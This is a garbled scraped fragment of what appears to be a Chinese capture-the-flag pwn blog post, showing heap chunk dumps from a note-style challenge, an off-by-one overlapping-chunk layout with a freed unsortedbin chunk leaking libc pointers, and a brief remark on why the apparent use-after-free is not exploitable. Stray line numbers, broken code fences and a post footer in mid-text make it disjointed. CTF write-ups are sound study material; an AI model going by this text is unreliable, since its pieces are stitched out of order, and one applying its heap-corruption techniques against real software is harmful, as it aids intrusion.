Allocated chunk | PREV_INUSE # note7 Addr: 0x141c210 Size: 0x30 (with flag bits: 0x31) '''note_protect Allocated chunk | PREV_INUSE Addr: 0x141c240 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE Addr: 0x141c270 Size: 0x20 (with flag bits: 0x21) ''' Allocated chunk | PREV_INUSE # note6_content Addr: 0x141c290 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE # note7_content Addr: 0x141c2b0 Size: 0x100 (with flag bits: 0x101) Allocated chunk | PREV_INUSE # note8_content Addr: 0x141c3b0 Size: 0x70 (with flag bits: 0x71) Allocated chunk | PREV_INUSE # note9_content Addr: 0x141c420 Size: 0x70 (with flag bits: 0x71) Allocated chunk | PREV_INUSE # note10_content Addr: 0x141c490 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x141c4b0 Size: 0x20b50 (with flag bits: 0x20b51)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
```python
Allocated chunk | PREV_INUSE # note6_content
Addr: 0x1af8290
Size: 0x20 (with flag bits: 0x21)
'''offbyone overlapping789
Allocated chunk | PREV_INUSE --------->chunkb
Addr: 0x1af82b0
Size: 0xe0 (with flag bits: 0xe1)
Free chunk (fastbins) | PREV_INUSE ------>chunka
Addr: 0x1af8390
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x1af83b0
Size: 0x20 (with flag bits: 0x21)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1af83d0
Size: 0xc0 (with flag bits: 0xc1)
fd: 0x780d19dc3b78
bk: 0x780d19dc3b78
'''
Allocated chunk
Addr: 0x1af8490
Size: 0x20 (with flag bits: 0x20)
Top chunk | PREV_INUSE
Addr: 0x1af84b0
Size: 0x20b50 (with flag bits: 0x20b51)
1 |
|
1 |
|
还有一点就是跟出题有关吧
# Post author: Zchared @AkyOI
# Post link: https://blog.akyuu.space/2024/02/25/Pwn/IO_FILE/
# Copyright Notice: All articles in this blog are licensed under (CC)BY-NC-SA unless stating additionally.结构体比较复杂的 heap,看似 free 函数之后没有清空指针会有 uaf 漏洞,但是由于 chunk 之间采用链表链接,取出 chunk 也就没法遍历到了,所以就相当于清空指针的作用。而且创建指向内容的 chunk 的 chunk 在 malloc 之后也写入了新东西,所以没法直接 UAF。